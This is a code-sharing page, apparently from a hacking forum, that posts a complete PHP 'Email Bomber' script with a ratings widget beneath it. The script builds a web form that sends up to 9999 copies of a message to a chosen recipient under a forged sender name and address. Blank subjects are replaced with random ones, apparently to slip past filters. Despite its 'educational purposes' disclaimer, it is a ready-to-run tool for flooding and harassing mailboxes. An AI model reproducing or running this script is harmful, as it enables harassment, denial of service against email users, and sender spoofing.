| Email Bomber |
index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
// Note this script is for educational purposes
// ONLY. SO does not condone email bombing.
// Yet again I found a script that was coded
// very poorly, so I took the liberty of writing
// a script with the same basic idea, while
// also making it have very clean coding, as
// well as proper input checking - Qwexotic
// Remember, you must add in any filtration
// functions yourself, such as the famous
// mysql_real_escape_string(); or even
// htmlentities(); or a custom function...
$f_name = isset($_POST['f_name']) ? $_POST['f_name'] : "";
$f_email = isset($_POST['f_email']) ? $_POST['f_email'] : "";
$r_email = isset($_POST['r_email']) ? $_POST['r_email'] : "";
$subject = isset($_POST['subject']) ? $_POST['subject'] : "";
$message = isset($_POST['message']) ? $_POST['message'] : "";
$number = isset($_POST['number']) ? preg_replace('/\..*/', '', $_POST['number']) : "";
$header = "From: ".$f_name." <".$f_email.">\n";
$header .= "Reply-To: ".$f_email."\n";
echo "<center>\n";
if ($f_name != "" || $f_email != "" || $r_email != "" || $subject != "" || $message != "" || $number != "") {
$errors = "";
if (strlen($f_name) > 40) {
$errors .= "Your name must be 40 characters or less.<br />\n";
}
if ($f_email == "") {
$errors .= "You must enter a sender email address.<br />\n";
} else {
if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $f_email)) {
$errors .= "You must enter a valid sender email address.<br />\n";
}
}
if (strlen($f_email) > 60) {
$errors .= "Your email must be 60 characters or less.<br />\n";
}
if ($r_email == "") {
$errors .= "You must enter a recipient email address.<br />\n";
} else {
if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $r_email)) {
$errors .= "You must enter a valid recipient email address.<br />\n";
}
}
if (strlen($r_email) > 60) {
$errors .= "The recipient email must be 60 characters or less.<br />\n";
}
if (strlen($subject) > 40) {
$errors .= "The subject must be 40 characters or less.<br />\n";
}
if ($message == "") {
$errors .= "You must enter a message to send.<br />\n";
}
if ($number == "") {
$errors .= "You must enter a number of messages to send.<br />\n";
} else {
if ($number < 2) {
$errors .= "You must enter a number greater than 1.<br />\n";
} elseif ($number > 9999) {
$errors .= "You must enter a number less than 10000.<br />\n";
}
}
if ($errors == "") {
if ($subject == "") {
for($i=1; $i <= $number; $i++){
mail($r_email, substr(md5(rand(1, 100)), 0, 5), $message, $header);
}
} else {
for($i=1; $i <= $number; $i++){
mail($r_email, $subject, $message, $header);
}
}
echo $number." messages have been sent to ".$r_email." successfully.<br />\n<a href='nojavascript...history.go(-1);' title='Start Another Mail Bomb'>Start Another Mail Bomb</a><br />\n";
} else {
echo "<span style='color: red;'>n".$errors."</span>\n<a href='nojavascript...history.go(-1);' title='Try Again'>Please Try Again</a><br />\n";
}
} else {
echo "* Denotes a required field.<br /><br />nNote that leaving a subject blank<br />nwill generate a random subject<br />nfor every new message.<br /><br />\n";
echo "<table cellspacing='2' cellpadding='2'>\n";
echo "<form action='' method='post'>\n";
echo "<tr>\n";
echo "<td>Your Name:</td>\n";
echo "<td><input type='text' name='f_name' size='50' maxlength='40' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Your Email: *</td>\n";
echo "<td><input type='text' name='f_email' size='50' maxlength='60' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Recipient Email: *</td>\n";
echo "<td><input type='text' name='r_email' size='50' maxlength='60' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Subject:</td>\n";
echo "<td><input type='text' name='subject' size='50' maxlength='40' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Message: *</td>\n";
echo "<td><textarea name='message' rows='5' cols='50'></textarea></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Number Of Messages: *</td>\n";
echo "<td><input type='text' name='number' size='4' maxlength='4' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td></td>\n";
echo "<td><input type='submit' value='Start Mail Bomb' /></td>\n";
echo "</tr>\n";
echo "</form>\n";
echo "</table>\n";
}
echo "</center>\n";
?>
Parsed in 0.166 seconds, using GeSHi 1.0.8.6
Please Login to Post a Comment.
Rating is available to Members only.
Please login or register to vote.
Please login or register to vote.
| Awesome! | 25% | [1 Vote] | |
| Very Good | 25% | [1 Vote] | |
| Good | 50% | [2 Votes] | |
| Average | 0% | [No Votes] | |
| Poor | 0% | [No Votes] |



Keep up the work.